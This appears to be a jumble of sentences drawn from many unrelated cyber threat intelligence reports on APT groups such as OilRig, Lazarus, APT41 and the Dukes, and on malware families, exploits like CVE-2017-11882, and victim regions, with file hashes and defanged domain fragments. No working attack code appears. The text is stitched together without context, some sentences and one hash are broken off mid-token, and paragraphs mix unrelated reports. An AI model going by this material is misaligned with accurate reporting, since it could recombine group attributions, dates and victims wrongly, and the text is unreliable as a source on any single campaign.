The company uses a type of software from Adups that 's nicknamed FOTA , short for firmware over-the-air . Rapid7 then provided a breach notification to Visma to alert them to this compromise in September 2018 . Invader : 57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb . 9002 S-MAL:933d66b43b3ce9a572ee3127b255b4baf69d6fdd7cb24da609b52ee277baa76e . 9002 S-MAL:2bec20540d200758a223a7e8f7b2f98cd4949e106c1907d3f194216208c5b2fe . 9002 S-MAL:055fe8002de293401852310ae76cb730c570f2037c3c832a52a79b70e2cb7831 .


Mobile implant evolution timeline However , some facts indicate that the APK samples from stage two can also be used separately as the first step of the infection . These APT attacks and adopting confrontation measures will exist for a long time . Though both this group and Winnti Group use the malware Winnti , the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting .


- SpyNote RAT was also collecting the device ’ s location to identify the exact location of the victim . As we described in Silence: Moving into the darkside report , Silence has experience with theft using compromised card processing systems . The Cobalt started its high-tech criminal activities in late 2013 by launching the Anunak malware campaign that targeted financial transfers and ATM networks of financial institutions around the world .


While it can be used anywhere and target any bank or region , at this time , we are seeing it deployed specifically in Germany . Upon opening of the MS Word document , our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control . A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation .


This means that the only thing possible in this case is to replace its DEX file . Our experts have found that cybercriminals are actively focusing on SMBs , and giving particular attention to accountants . Later , Windows Defender Antivirus was added to the checklist . In fact , this chain also leads to NetSupport RAT .


So far , researchers have seen around 100 victims of Slingshot and its related modules , located in Kenya , Yemen , Afghanistan , Libya , Congo , Jordan , Turkey , Iraq , Sudan , Somalia and Tanzania . This focus on training aligns with LYCEUM’s targeting of executives , HR staff , and IT personnel .


This information can be used to facilitate future spam campaigns by the perpetrator or may be sold to other actors .


However , this scenario is highly unlikely .


Gaza Cybergang Group 3: This group is believed to be behind Operation Parliament .


] net app store showing the current DroidVPN app Virtual Private Network ( VPN ) tools allow connections to remote private networks , increasing the security and privacy of the user ’ s communications . These campaign-related VPSs are located in South Africa . Since the release of the Arbor blog post , FireEye has observed APT12 use a modified backdoor that we call HIGHTIDE .


] com www5.zyns [ . APT41 sent spear-phishing emails to multiple HR employees three days after the compromise had been remediated and systems were brought back online . Firstly , as with the MiniDuke campaigns of February 2013 and CosmicDuke campaigns in the summer of 2014 , again the group clearly prioritized the continuation of their operations over maintaining stealth .


SHA256 Package Name App Name First Seen 07994c9f2eeeede199dd6b4e760fce3 71f03f3cc4307e6551c18d2fbd024a24f com.android.henbox 备份 ( Backup ) January 3rd 2018 Table 6 contains an updated list of targeted apps from which this newer variant of HenBox is capable of harvesting data . At least two of these malware families , HIGHNOON.CLI and GEARSHIFT , have been used by APT17 and another suspected Chinese espionage group . The Dukes are a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .


The usefulness of flare-qdb can be seen in cases such as loops dealing with strings . Beginning in 2017 , the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents .


The group did change the contents of the spear-phishing emails they sent , but they didn’t switch to a new email format ; instead , they reverted to the same efaxthemed format that they had previously employed , even to the point of reusing the exact same decoy document that they had used in the CozyDuke campaign a year earlier ( July 2014 ) .


While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions . One archive sample analyzed by CTU researchers contained a legitimate PDF file , a benign image of interest to targets ( see Figure 8 ) , and an HTTPBrowser installer disguised as an image file .


Instead of Flash exploits , older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013 , detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b . Over the summer they compromised several sites , including a well-known Uyghur website written in that native language .


In theory , Shun Wang Technologies could have collected a third of China’s population names and contact numbers if not more . ined in the archive is called DriverInstallerU.exe” but its metadata shows that its original name is Interenet Assistant.exe” .


Initial victim communication with the INDRIK SPIDER operator , using one of the email addresses provided , results in the operator providing key pieces of information up front , such as the BTC address and the ransom amount . We will publish more details about the attack once Adobe patches the vulnerability , which should be on June 16 .


In recent years , some malicious Android applications abused these accessibility services in various attack scenarios . The members of the group use a variety of tools , including CCleaner , on a daily basis to effectively remove any evidence of their operations . The OilRig group continues to target organizations in the Middle East , in this instance targeting the government of the United Arab Emirates .


Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory . Once the docx file included in the phishing email is clicked , a warning window will pop up .


Conclusion Due to the ubiquitous nature of mobile devices and the widespread use of Android , it is very easy for attackers to victimize Android users . Today , this malware is still actively being used against the Philippines . APT18 : TG-0416 , Dynamite Panda , Threat Group-0416 .